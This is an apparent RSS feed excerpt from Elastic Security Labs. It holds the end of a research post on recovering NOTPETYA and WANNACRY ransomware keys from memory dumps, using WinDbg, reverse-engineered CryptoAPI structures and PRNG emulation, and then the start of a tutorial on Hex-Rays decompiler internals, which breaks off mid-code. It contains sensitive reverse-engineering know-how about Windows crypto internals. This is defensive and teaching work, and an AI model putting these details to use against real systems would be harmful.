<li>Each thread initializes its own cryptographic context using the Microsoft CryptoAPI; we  note the use of AES-CBC 128 bits</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt49fe19d3c8c8faff/6a7c924fe02fac7d3b5d0829/image14.png" alt="Confirming NOTPETYA’s use of AES 128 CBC" title="Confirming NOTPETYA’s use of AES 128 CBC" /></p>
<ul>
<li>Encrypts the files recursively (with a maximum recursion level of 15), dropping the ransom message and destroying the cryptographic context</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6a8a29a2b565da98/6a7c92525967e545ad5d7847/image10.png" alt="NOTPETYA recursive cryptographic context mechanism" title="NOTPETYA recursive cryptographic context mechanism" /></p>
<ul>
<li>The file encryption itself is performed using file-backed mappings to overwrite files of specifically targeted extensions:</li>
</ul>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltb6ffc7bd12ef0a4c/6a7c9255c33f4f517cd54d78/image20.png" alt="NOTPETYA file encryption using key from the global context" title="NOTPETYA file encryption using key from the global context" /></p>
<p>This leaves us with a very basic stack-based structure for the context:</p>
<pre><code>c
struct _THREAD_CONTEXT { /* sizeof=0x20, align=0x4, mappedto_50) */
  /* 00000000 */ WORD lpswzRootPathName[4];
  /* 00000008 */ HANDLE hProvider;
  /* 0000000C */ PVOID field_C;
  /* 00000010 */ LPVOID pBase64Data;
  /* 00000014 */ HCRYPTPROV hKey;
  /* 00000018 */ DWORD field_18;
  /* 0000001C */ HANDLE hFile;
};
</code></pre>
<p>Equipped with that knowledge, we could explore further in the dump. Since we know write accesses were made using <code>kernel32!CreateFileMapping</code>, this means <code>ntdll!NtCreateSection</code> is called, and we can isolate the active thread that triggered the syscall to the canary file:</p>
<pre><code>dx @$curprocess.Threads.Where( t =&gt; t.Stack.Frames.First().ToDisplayString().Contains("NtCreateSection") )
</code></pre>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf144e45ca1241a3a/6a7c925805b7b5ed95185d8b/image7.png" alt="Retrieving the active thread in the memory dump" title="Retrieving the active thread in the memory dump" /></p>
<p>As explained previously, we’ve isolated the context session and know it’s located in the stack. From the base pointer to the session context, we can retrieve the cryptographic context from the context structure member <code>_THREAD_CONTEXT.hKey</code> located at offset 0x14.</p>
<pre><code>0:007:x86&gt; dx @$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10
@$curthread.Stack.Frames[3].Attributes.FrameOffset + 0x10 : 0x518d210
0:007:x86&gt; dps poi(0x518d210) l6
004859a0  003a0043
004859a4  0000005c
004859a8  00538418
004859ac  00000000
004859b0  04060550 
004859b4  0048fc48   &lt;&lt;&lt; hKey
0:007:x86&gt; dps 0048fc48 
0048fc48  74a850c0 rsaenh!CPGenKey
0048fc4c  74a9ad90 rsaenh!CPDeriveKey
0048fc50  74a886c0 rsaenh!CPDestroyKey
0048fc54  74a9c770 rsaenh!CPSetKeyParam
0048fc58  74a898c0 rsaenh!CPGetKeyParam
0048fc5c  74a84c40 rsaenh!CPExportKey
0048fc60  74a86290 rsaenh!CPImportKey
0048fc64  74a99880 rsaenh!CPEncrypt
0048fc68  74a8a500 rsaenh!CPDecrypt
0048fc6c  74a9b5c0 rsaenh!CPDuplicateKey
0048fc70  00538418 
0048fc74  e3155764 &lt;&lt;&lt; hCryptKey
0048fc78  22222222
[...]
</code></pre>
<p>The crypto context structures are not made publicly accessible by Microsoft but have been <a href="https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data&amp;s=b0a1fb3f896437fc13727105e44628d6&amp;p=2234957#post2234957">reverse-engineered</a></p>
<pre><code>struct HCRYPTKEY
{
    void* CPGenKey;
    void* CPDeriveKey;
    void* CPDestroyKey;
    void* CPSetKeyParam;
    void* CPGetKeyParam;
    void* CPExportKey;
    void* CPImportKey;
    void* CPEncrypt;
    void* CPDecrypt;
    void* CPDuplicateKey;
    HCRYPTPROV hCryptProv;
    magic_s *magic; // XOR-ed
};
struct magic_s
{
    key_data_s *key_data;
};

struct key_data_s
{
    void *unknown; // XOR-ed pointer
    uint32_t alg;
    uint32_t flags;
    uint32_t key_size;
    void* key_bytes;
};
</code></pre>
<p>From this context, we can extract and decode the location of the AES structure, as the key is known to be <a href="https://forums.codeguru.com/showthread.php?79163-Structure-of-HCRYPTKEY-Data&amp;s=b0a1fb3f896437fc13727105e44628d6&amp;p=2234957#post2234957"><code>0xE35A172C</code></a> for 32-bit processes:</p>
<pre><code>0:007:x86&gt; ? e3155764^ 0xE35A172C
Evaluate expression: 5193800 = 004f4048

0:007:x86&gt; dps poi(004f4048 ) l5
0053cdd0  e3152844   // /* +0 */ unknown
0053cdd4  0000660e   // /* +4 */ alg
0053cdd8  00000001   // /* +8 */ flags
0053cddc  00000010   // /* +c */ key_size
0053cde0  0053ce70   // /* +10 */ key_bytes
</code></pre>
<p>From the dump, we also know the type (AES-CBC), location in memory (<code>0x053ce70</code>), and size (<code>0x10</code>) of the key. The session key can be successfully retrieved! </p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6fb8666b82e76a7c/6a7c925ae3a219b850999a62/image1.png" alt="NOTPETYA file encryption key, extracted from the session context in the memory dump" title="NOTPETYA file encryption key, extracted from the session context in the memory dump" /></p>
<p>Not only does this allow complete decryption of all encrypted files for this process, but the astute observer would have noticed that all <a href="https://gist.github.com/calladoum-elastic/8a142ad8b20de048a0edb2ec6fde2660">those steps can be automated</a>, allowing us to create decryptors using just the generated memory dump!</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltf11707192b9f4ce0/6a7c925dfc63ab095e6472bf/image18.png" alt="Automatically extracting session key" title="Automatically extracting session key" /></p>
<p>To see this process fully, you can watch the <a href="https://youtu.be/UCZFAV9EveQ">demo</a> and check out the <a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-notpetya_extract_key_from_dump-py">code</a> on GitHub. </p>
<p>We can even create scripts for decryption that would apply to all machines infected with the same variant. Even though WinDbg is the tool of choice, all those steps can be completely automated, making this approach very scalable.</p>
<h3 id="predictingencryptionkeysfromtheprocessruntimethecaseofwannacry">Predicting encryption keys from the process runtime: the case of WANNACRY</h3>
<p>WANNACRY is another ransomware family we felt qualified for this experiment, as it is well-known and – most importantly for this research – used a more complex logic for file encryption:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt703e619e91441cf6/6a7c926096b5a659a88758b2/image8.png" alt="A description of WANNACRY’s encryption from Akbanov et al. (JTIT 2019)" title="A description of WANNACRY’s encryption from Akbanov et al. (JTIT 2019)" /></p>
<h4 id="deepdiveintowindowspseudorandomnumbergeneration">Deep dive into Windows (Pseudo-)random Number generation</h4>
<p>To encrypt files, WANNACRY uses Windows' encryption library and generates one random AES key per file by means of the high-level API function <a href="https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom"><code>advapi32!CryptGenRandom</code></a>. Each key is associated with the corresponding file, then RSA-encrypted and submitted to its C2. By design, the approach we used against NOTPETYA will not work here. WANNACRY offered us a different challenge, once again demonstrating that having a complete memory dump provides other invaluable resources.</p>
<p>Random number generation is often less random than most people think. Generating a truly random number is both challenging and expensive, and this challenge is at the heart of any cryptographic algorithm. </p>
<p>Windows (not unlike other OS) generates <a href="https://en.wikipedia.org/wiki/Pseudorandom_number_generator">random numbers in a pseudo-random way</a>. This means the random number generator derives an initial state (called a seed) with a cryptographic function (for instance, XorShift or Mersenne-Twister). One of the logical consequences of using PRNG is that knowing the state of the random generator at a moment T allows us to know precisely all random values at T+1, T+2, etc. Note that this is not a weakness as randomness is a highly complex and performance-costly operation; this approach is a great trade-off. </p>
<p>We will be taking advantage of this property to defeat WANNACRY. Knowing that WANNACRY repeatedly will call CryptGenRandom to generate the AES encryption for each file, if we have a way to know those values strictly through emulation of the minidump file, then we will also know the possible AES keys. This looks promising but may conceal several roadblocks. </p>
<p>Taking a step back, what is CryptGenRandom in the first place – what does it do? The <a href="https://learn.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptgenrandom">MSDN</a> informs us that this (deprecated) function fills up a buffer with random content using a <a href="https://learn.microsoft.com/en-us/windows/desktop/SecGloss/c-gly">Cryptographic Service Provider</a>(HCRYPTPROV). Setting a breakpoint to CryptGenRandom  allows us to look under the hood with WinDbg on a Windows 11 x64. We can then easily traverse the high-level APIs and observe that <code>advapi32!CryptGenRandom</code> is a wrapper to <code>cryptsp!CryptGenRandom</code>, which in turn leads us to the <code>CPGenRandom</code> function in <code>rsaenh.dll</code>.</p>
<pre><code>0:000&gt; g
Breakpoint 9 hit
CRYPTSP!CryptGenRandom+0x29:
00007ffc`990c1699 488b8be0000000  mov     rcx,qword ptr [rbx+0E0h] ds:000001e1`38ade010=e35a16cde1cff7d0
0:000&gt; dps @rbx
000001e1`38addf30  00007ffc`987956d0 rsaenh!CPAcquireContext
000001e1`38addf38  00007ffc`987951e0 rsaenh!CPReleaseContext
000001e1`38addf40  00007ffc`98791140 rsaenh!CPGenKey
000001e1`38addf48  00007ffc`987a8f80 rsaenh!CPDeriveKey
000001e1`38addf50  00007ffc`987948a0 rsaenh!CPDestroyKey
000001e1`38addf58  00007ffc`987aaac0 rsaenh!CPSetKeyParam
[...]

0:000&gt; t
CRYPTSP!CryptGenRandom+0x3c:
00007ffc`990c16ac ff1506c50000    call    qword ptr [CRYPTSP!_guard_dispatch_icall_fptr (00007ffc`990cdbb8)] ds:00007ffc`990cdbb8={CRYPTSP!guard_dispatch_icall_nop (00007ffc`990c4d30)}

0:000&gt; r rax, rcx,rdx ,r8
rax=00007ffc987954d0 rcx=e35a16cde1cff7d0 rdx=0000000000000010 r8=00000065859bfe70

0:000&gt; .printf "%y\n", @rax
rsaenh!CPGenRandom (00007ffc`987954d0)
</code></pre>
<p>When <code>CRYPTSP!CryptGenRandom</code> is invoked, the RCX register holds the pointer to the encoded crypto provider, which is XOR encoded with the magic constant <code>0xE35A172CD96214A0</code> (Remember the <code>0xE35A172C</code> magic constant we used earlier? This is its 64-bit version counterpart). Looking at <code>rsaenh!CPGenRandom</code> in IDA made clear the cryptographic provider handle serves only as a check to determine the correct validity of the context passed to the function but has no real implication about the randomness generation.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc3e02b6ea0661780/6a7c9263c2cc093c492436e0/image17.png" alt="Reversing rsaenh.dll to understand the random number generation" title="Reversing rsaenh.dll to understand the random number generation" /></p>
<p>The entire randomness generation logic is deported to the function <code>cryptbase!SystemFunction036</code>, which simply takes two arguments: the buffer to receive the random data and its length. This was great news because random number generation had no external factor an attacker could use at runtime to make the generation more complex. Going farther into the rabbit hole, we realized that <code>cryptbase!SystemFunction036</code> itself is nothing more than a light wrapper for <code>bcryptprimitives!ProcessPrng</code>, which – by the name of the function – seems to match our expectations.</p>
<p>The <code>bcryptprimitives</code> DLL is part of the <a href="https://learn.microsoft.com/en-us/windows/win32/seccng/cng-portal">Cryptographic Next Generation API</a> (CNG) and is quite complex. Fully reversing would be out-of-scope for this research, so we only focused on the parts we're interested in. First, we observed that once loaded in the process, the library initializes the process seed - either from the <a href="https://www.felixcloutier.com/x86/rdrand"><code>rdrand</code></a> instruction or from a VTL1 call to the <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/isolated-user-mode--ium--processes"><code>IumKernelState</code></a> trustlet in the explicitly named <code>InitUmRootRngState</code> function. Then, it populates a random number generator state table and updates the RNG seed version state in the <code>ntdll!_KUSER_SHARED_DATA::RNGSeedVersion</code>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltffcdf2f5c476bced/6a7c9265e88c654586005b55/image9.png" alt="Validating the cryptographic seed initialization from WinDbg" title="Validating the cryptographic seed initialization from WinDbg" /></p>
<p>When <code>ProcessPrng</code> is invoked, the generation of the next pseudo-random number is determined by a CPU-specific state. To be precise, the processor number on which the current thread is running is used as an index to load and generate the next number. We’ll explain more later, but this will be challenging in the future. Using this state information, the next number is produced by invoking <code>AesRNGState_generate</code>, storing the result inside the buffer given in an argument.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0f4b7b19129289ff/6a7c9268b4377079ad4d1316/image6.png" alt="Next random buffer generation in cryptbase.dll" title="Next random buffer generation in cryptbase.dll" /></p>
<p>This is a non-negligible issue for what we’re trying to accomplish. On multiprocessor-aware Windows (which all modern PCs are), it is hard to consistently know the processor number the thread is running on, making generation prediction impossible. However, Windows provides ways to affect the scheduler, as shown below.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt18d80d07aa17ab0a/6a7c926b77b03479853f98ac/image13.png" alt="Retrieving current CPU number to determine the PNRG state table entry to use" title="Retrieving current CPU number to determine the PNRG state table entry to use" /></p>
<h4 id="pseudorandomnumberpredictionthroughusermodeemulationofthememorydump">Pseudo-Random number prediction through user-mode emulation of the memory dump</h4>
<p>Keeping in sight that to defeat WANNACRY, we need to be able to execute the function <code>cryptbase!SystemFunction036</code> directly from the memory dump. We can make this with an emulator (like QEMU or Bochs) by mapping the execution context (populating the memory layout, restoring the TEB/PEB etc.) gathered from the memory dump of the ransomware, which we did following these steps:</p>
<ol>
<li>Parse the user-mode dump to <a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L272-L287">extract and map all the memory layout</a>; for this step, we used the Python bindings of the <a href="https://github.com/0vercl0k/udmp-parser">udmp-parser</a> library</li>
<li>Fully <a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L291-L322">reconstruct a working memory layout in an emulator</a>, for which <a href="https://github.com/yrp604/bochscpu">bochscpu</a> along with its <a href="https://github.com/hugsy/bochscpu-python">Python bindings</a> were used</li>
<li><a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27#file-emulate_cryptrandomgen-py-L354-L370">Rebuild a valid thread context</a> by finding the function <code>cryptbase!SystemFunction036</code> and emulating the runtime</li>
</ol>
<p>However, we still lack the ability to predict on which CPU the thread invoking <code>cryptbase!SystemFunction036</code> will be running on, therefore, cannot accurately predict the following values returned by the function. On a single-core machine, this is not a problem as our PRNG state table will only hold one entry, and this approach was tested to work perfectly out-of-the-box. However, it fails on multi-core systems, as only the first call to <code>cryptbase!SystemFunction036</code> would return the correct random values.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltd7eaaa12d92a0f4c/6a7c926e5967e582f25d7859/image15.png" alt="Execution of &lt;code&gt;cryptbase!SystemFunction036&lt;/code&gt; on single core VM: different outputs" title="Execution of &lt;code&gt;cryptbase!SystemFunction036&lt;/code&gt; on single core VM: different outputs" /></p>
<p>To have accurate emulation on multi-core machines, we need to know the processor number on which the next thread calling <code>cryptbase!SystemFunction036</code> will be called at runtime is fairly impossible. Two possible approaches were tested:</p>
<ol>
<li>From the dump, we have knowledge of the entire PRNG state table. Because of this, we can make the emulation script hook the function <code>ntdll!RtlGetCurrentProcessorNumberEx</code> and use it to determine the index in the random table, then have it generate all the values for a specific core. This approach proved successful but extremely tedious, especially at scale as automation would generate exponential possibilities to retrieve the correctly generated sequence.</li>
<li>Another option happens during the canary detection itself. Once the canary confirms it is ransomware, we can enforce the culprit process CPU affinity to only one CPU, whose index we can choose freely. This can be done from kernel or user mode as long as the targeted process is opened with the <a href="https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-setprocessaffinitymask"><code>PROCESS_SET_INFORMATION</code></a> access right. This processor index will determine the entry taken in the <code>AesStateTable</code> array, and doing so allows us to reliably predict all future values of the PNRG via emulation.</li>
</ol>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt26d4cc28b1c77845/6a7c927133fa8a089f1fcc92/image3.png" alt="EExecution of &lt;code&gt;cryptbase!SystemFunction036&lt;/code&gt; on multi-core VM with forced affinity: same output" title="EExecution of &lt;code&gt;cryptbase!SystemFunction036&lt;/code&gt; on multi-core VM with forced affinity: same output" /></p>
<p>To see the WANNACRY process in full, you can watch the <a href="https://youtu.be/uXqI0ZSqZhI">demo</a>. We also have the <a href="https://gist.github.com/calladoum-elastic/3b733b023c237a6017b399d4c4f18d27">code</a> available for review on GitHub.</p>
<p>Testing both techniques showed that it is possible to predict the future value of the PRNG with the minidump at our disposal. This would be immensely helpful against ransomware like WANNACRY, which uses Windows PRNG to generate unique AES keys for each encrypted file.</p>
<h2 id="incorporatingthisresearchintotheelasticendpoint">Incorporating this research into the Elastic Endpoint</h2>
<p>ON Week at Elastic is a place for experimenting without constraints and often leads to great improvements for the existing Elastic solutions. </p>
<p>Process snapshot generation was added to Elastic Security in version <a href="https://www.elastic.co/blog/whats-new-elastic-security-8-11-0">8.11</a>. With protection enabled, should ransomware be detected, the endpoint will generate a complete memory process dump before resuming execution, likely leading to the ransomware process termination. We hope this simple addition can assist DFIR teams further by providing better insight into what the ransomware was attempting. </p>
<p>Recent news has shown that process memory dumps can leak a <a href="https://www.msn.com/en-us/news/technology/microsoft-china-stole-secret-key-that-unlocked-us-govt-email-from-crash-debug-dump/ar-AA1glLPJ">great amount of valuable private information</a> if made available publicly. Therefore, it must be stressed that no memory dump is ever submitted to Elastic, even with the feature enabled. The dump file is generated (and compressed) by the endpoint locally, and the resulting file is stored within Elastic’s secure installation folder (by default, <code>$ElasticInstallPath\Endpoint\cache\RansomwareDumps</code>). This way, the dump files cannot be easily tampered with by attackers but are easily accessible to forensics and incident response teams to assist them in the recovery process.</p>
<p>Let’s demonstrate this feature in action on a fresh Elastic 8.11 against NOTPETYA: <a href="https://youtu.be/d16yKWUf3dI">watch the demo</a></p>
<h2 id="closingremarks">Closing remarks</h2>
<p>This concluded our ON Week research with quite a positive outcome. Did we come up with a bulletproof solution against all ransomware? No, and such a thing likely won’t ever exist. As we’ve underlined in the introduction, ransomware exists in so many types and varieties that it probably seems impossible to have one solution for all.</p>
<p>What this research found, however, was that this approach offers a great trade-off between FP risk, system requirements, and potential outcome. There is very little risk of snapshotting the process memory should it be flagged as ransomware by the canary feature. In the case of a false positive, the computer would simply end up with a dump file in a protected location (and ZIP compression would drastically reduce the footprint on disk).</p>
<p>While this is not the perfect ransomware solution, offering a memory dump of the ransomware can boost forensic work and potentially allow teams to recover or even predict session encryption keys. Complete memory dumps can be an amazing ally in debugging and forensics because they provide an exhaustive view of how things happen at runtime. And thanks to emulation, we can confidently retrace some of the steps that lead to a compromise and hopefully fix it.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/threat-command/ransomware-in-the-honeypot-how-we-capture-keys</link>
    <guid isPermaLink="false">ransomware-in-the-honeypot-how-we-capture-keys</guid>
    <category><![CDATA[Malware Analysis]]></category>
    <dc:creator><![CDATA[Salim Bitam,Christophe Alladoum]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc60b1ae078f1e3c9/6a7c927433fa8a673c1fcc96/photo-edited-07.png" length="0" type="image/png"/>
    <pubDate>Fri, 23 Feb 2024 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Introduction to Hex-Rays decompilation internals]]></title>
    <description><![CDATA[In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code.]]></description>
    <content:encoded><![CDATA[<h2 id="introduction">Introduction</h2>
<p>In this publication, we delve into Hex-Rays microcode and explore techniques for manipulating the generated CTree to deobfuscate and annotate decompiled code. The final section includes a practical example demonstrating how to annotate a custom import table for malware analysis.</p>
<p>This guide is meant to help reverse engineers and malware analysts better understand the internal structures used during IDA's function decompilation. We advise keeping an eye on the <a href="https://hex-rays.com/products/decompiler/manual/sdk/index.shtml">Hex-Rays SDK</a> that can be found under IDA PRO’s plugins directory, all the structures discussed below are sourced from it.</p>
<h2 id="architecture">Architecture</h2>
<p>Hex-Rays decompiles a function through a multistage process starting with the disassembled code of a function:</p>
<ol>
<li><p>Assembly code to microcode:<br />
It does a conversion of the assembly instructions that are stored in an <a href="https://hex-rays.com/products/ida/support/sdkdoc/classinsn__t.html"><code>insn_t</code></a> structure to microcode instructions represented by a <a href="https://hex-rays.com/products/decompiler/manual/sdk/classminsn__t.shtml"><code>minsn_t</code></a> structure</p></li>
<li><p>CTree generation:<br />
From the optimized microcode, Hex-Rays generates the Abstract Syntax Tree(AST), its nodes are either statements (<a href="https://hex-rays.com/products/decompiler/manual/sdk/structcinsn__t.shtml"><code>cinsn_t</code></a>) or expressions (<a href="https://hex-rays.com/products/decompiler/manual/sdk/structcexpr__t.shtml"><code>cexpr_t</code></a>); note that both <code>cinsn_t</code> and <code>cexpr_t</code> inherit from the <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcitem__t.shtml"><code>citem_t</code></a> structure</p></li>
</ol>
<h2 id="microcode">Microcode</h2>
<p>Microcode is an intermediate language (IL) used by Hex-Rays, generated by lifting the assembly code of a binary. This has multiple advantages, one of which is that it is processor-independent.</p>
<p>The following screenshot displays the assembly and decompiled code, alongside its microcode extracted using <a href="https://github.com/gaasedelen/lucid">Lucid</a>, a tool that facilitates microcode visualization.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt4332883528d60a86/6a7c880a73d9bd19b5297cd8/image5.png" alt="A view of the assembly code, decompiled code, and microcode" title="A view of the assembly code, decompiled code, and microcode" /></p>
<p>We can access the MBA (microcode block array) through the <code>cfunc_t</code> structure of a decompiled function with the MBA field.</p>
<p><em>Tip:</em> we get the <code>cfunc_t</code> of a decompiled function with the <code>ida_hexrays.decompile</code>.</p>
<p><a href="https://hex-rays.com/products/decompiler/manual/sdk/classmba__t.shtml"><code>mba_t</code></a> is an array of micro blocks <a href="https://hex-rays.com/products/decompiler/manual/sdk/classmblock__t.shtml"><code>mblock_t</code></a>, the first block represents the entry point of the function and the last one represents the end. Micro blocks (<code>mblock_t</code>) are structured in a double linked list, we can access the next / previous block with <code>nextb</code>/<code>prevb</code> fields respectively. Each <code>mblock_t</code> includes a double linked list of microcode instructions <code>minsn_t</code>, accessed by the field <code>head</code> for the first instruction of the block and <code>tail</code> for the last instruction of the block. The <code>mblock_t</code> structure is depicted in the following code snippet.</p>
<pre><code>class mblock_t
{
//...
public:
  mblock_t *nextb;              ///&lt; next block in the doubly linked list
  mblock_t *prevb;              ///&lt; previous block in the doubly linked list
  uint32 flags;                 ///&lt; combination of \ref MBL_ bits
  ea_t start;                   ///&lt; start address
  ea_t end;                     ///&lt; end address
  minsn_t *head;                ///&lt; pointer to the first instruction of the block
  minsn_t *tail;                ///&lt; pointer to the last instruction of the block
  mba_t *mba;  
</code></pre>
<p>A microcode instruction <code>minsn_t</code> is a double linked list, each microcode instruction contains 3 operands: left, right, and destination. We can access the next/previous microcode instruction of the same block with <code>next</code>/<code>prev</code> fields; the opcode field is an enumeration (<a href="https://hex-rays.com/products/decompiler/manual/sdk/hexrays_8hpp.shtml#:~:text=enum-,mcode_t,-%7B%0A%C2%A0%C2%A0m_nop"><code>mcode_t</code></a>) of all the microinstruction opcodes, for example, the <code>m_mov</code> enum represents the <code>mov</code> opcode.</p>
<pre><code>class minsn_t
{
//...
public:
  mcode_t opcode;       ///&lt; instruction opcode enumeration
  int iprops;           ///&lt; combination of \ref IPROP_ bits
  minsn_t *next;        ///&lt; next insn in doubly linked list. check also nexti()
  minsn_t *prev;        ///&lt; prev insn in doubly linked list. check also previ()
  ea_t ea;              ///&lt; instruction address
  mop_t l;              ///&lt; left operand
  mop_t r;              ///&lt; right operand
  mop_t d;              ///&lt; destination operand
 //...

enum mcode_t
{
  m_nop    = 0x00, // nop                       // no operation
  m_stx    = 0x01, // stx  l,    {r=sel, d=off} // store register to memory     
  m_ldx    = 0x02, // ldx  {l=sel,r=off}, d     // load register from memory    
  m_ldc    = 0x03, // ldc  l=const,     d       // load constant
  m_mov    = 0x04, // mov  l,           d       // move                        
  m_neg    = 0x05, // neg  l,           d       // negate
  m_lnot   = 0x06, // lnot l,           d       // logical not
//...
};
</code></pre>
<p>Each operand is of type <a href="https://hex-rays.com/products/decompiler/manual/sdk/classmop__t.shtml"><code>mop_t</code></a>, depending on the type (accessed with the <code>t</code> field) it can hold registers, immediate values, and even nested microcode instructions. As an example, the following is the microcode of a function with multiple nested instructions:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6efd8016cf7ed803/6a7c880dde23150c7afd1eec/image3.png" alt="Nested microcode instructions" title="Nested microcode instructions" /></p>
<pre><code>class mop_t
{
    public:
      /// Operand type.
      mopt_t t;
    union
      {
        mreg_t r;           // mop_r   register number
        mnumber_t *nnn;     // mop_n   immediate value
        minsn_t *d;         // mop_d   result (destination) of another instruction
        stkvar_ref_t *s;    // mop_S   stack variable
        ea_t g;             // mop_v   global variable (its linear address)
        int b;              // mop_b   block number (used in jmp,call instructions)
        mcallinfo_t *f;     // mop_f   function call information
        lvar_ref_t *l;      // mop_l   local variable
        mop_addr_t *a;      // mop_a   variable whose address is taken
        char *helper;       // mop_h   helper function name
        char *cstr;         // mop_str utf8 string constant, user representation
        mcases_t *c;        // mop_c   cases
        fnumber_t *fpc;     // mop_fn  floating point constant
        mop_pair_t *pair;   // mop_p   operand pair
        scif_t *scif;       // mop_sc  scattered operand info
      };
    #...
}

/// Instruction operand types
typedef uint8 mopt_t;
const mopt_t
  mop_z   = 0,  ///&lt; none
  mop_r   = 1,  ///&lt; register (they exist until MMAT_LVARS)
  mop_n   = 2,  ///&lt; immediate number constant
  mop_str = 3,  ///&lt; immediate string constant (user representation)
  #...
</code></pre>
<p>The microcode generation progresses through various maturity levels, also referred to as optimization levels. The initial level, <code>MMAT_GENERATED</code>, involves the direct translation of assembly code into microcode. The final optimization level before generating the CTree is <code>MMAT_LVARS</code>.</p>
<pre><code>enum mba_maturity_t
{
  MMAT_ZERO,         ///&lt; microcode does not exist
  MMAT_GENERATED,    ///&lt; generated microcode
  MMAT_PREOPTIMIZED, ///&lt; preoptimized pass is complete
  MMAT_LOCOPT,       ///&lt; local optimization of each basic block is complete.
                     ///&lt; control flow graph is ready too.
  MMAT_CALLS,        ///&lt; detected call arguments
  MMAT_GLBOPT1,      ///&lt; performed the first pass of global optimization
  MMAT_GLBOPT2,      ///&lt; most global optimization passes are done
  MMAT_GLBOPT3,      ///&lt; completed all global optimization. microcode is fixed now.
  MMAT_LVARS,        ///&lt; allocated local variables
};
</code></pre>
<h3 id="microcodetraversalexample">Microcode traversal example</h3>
<p>The following Python code is used as an example of how to traverse and print the microcode instructions of a function, it traverses the microcode generated at the first maturity level (<code>MMAT_GENERATED</code>).</p>
<pre><code>import idaapi
import ida_hexrays
import ida_lines


MCODE = sorted([(getattr(ida_hexrays, x), x) for x in filter(lambda y: y.startswith('m_'), dir(ida_hexrays))])

def get_mcode_name(mcode):
    """
    Return the name of the given mcode_t.
    """
    for value, name in MCODE:
        if mcode == value:
            return name
    return None


def parse_mop_t(mop):
    if mop.t != ida_hexrays.mop_z:
        return ida_lines.tag_remove(mop._print())
    return ''


def parse_minsn_t(minsn):
    opcode = get_mcode_name(minsn.opcode)
    ea = minsn.ea

    text = hex(ea) + " " + opcode
    for mop in [minsn.l, minsn.r, minsn.d]:
        text += ' ' + parse_mop_t(mop)
    print(text)


def parse_mblock_t(mblock):
    minsn = mblock.head
    while minsn and minsn != mblock.tail:
        parse_minsn_t(minsn)
        minsn = minsn.next


def parse_mba_t(mba):
    for i in range(0, mba.qty):
        mblock_n = mba.get_mblock(i)
        parse_mblock_t(mblock_n)


def main():
    func = idaapi.get_func(here()) # Gets the function at the current cursor
    maturity = ida_hexrays.MMAT_GENERATED
    mbr = ida_hexrays.mba_ranges_t(func)
    hf = ida_hexrays.hexrays_failure_t()
    ida_hexrays.mark_cfunc_dirty(func.start_ea)
    mba = ida_hexrays.gen_microcode(mbr, hf, None, ida_hexrays.DECOMP_NO_WAIT, maturity)
    parse_mba_t(mba)


if __name__ == '__main__':
    main()
</code></pre>
<p>The script's output is presented below: on the left, the printed microcode in the console, and on the right, the assembly code by IDA:</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt15929fd114a67052/6a7c880f5967e554dd5d760b/image10.png" alt="Microcode traversal script’s output, assembly code" title="Microcode traversal script’s output, assembly code" /></p>
<h3 id="ctree">CTree</h3>
<p>In this section, we'll dive into the core elements of Hex-Rays CTree structure, then proceed to a practical example demonstrating how to annotate a custom import table of malware that loads APIs dynamically.</p>
<p>For a better understanding, we will be leveraging the following plugin (<a href="https://github.com/patois/HRDevHelper">hrdevhelper</a>) that allows us to view the CTree nodes in IDA as a graph.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blta15365ecfe87fbfb/6a7c88121967ea2b0332a949/image7.png" alt="CTree graph of a function generated using hrdevhelper" title="CTree graph of a function generated using hrdevhelper" /></p>
<p><a href="https://hex-rays.com/products/decompiler/manual/sdk/structcitem__t.shtml"><code>citem_t</code></a> is an abstract class that is the base for both <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcinsn__t.shtml"><code>cinsn_t</code></a> and <a href="https://hex-rays.com/products/decompiler/manual/sdk/structcexpr__t.shtml"><code>cexpr_t</code></a>, it holds common info like the address, item type and label while also featuring constants like <code>is_expr</code>, <code>contains_expr</code> that can be used to know the type of the object:</p>
<pre><code>struct citem_t
{
  ea_t ea = BADADDR;      ///&lt; address that corresponds to the item. may be BADADDR
  ctype_t op = cot_empty; ///&lt; item type
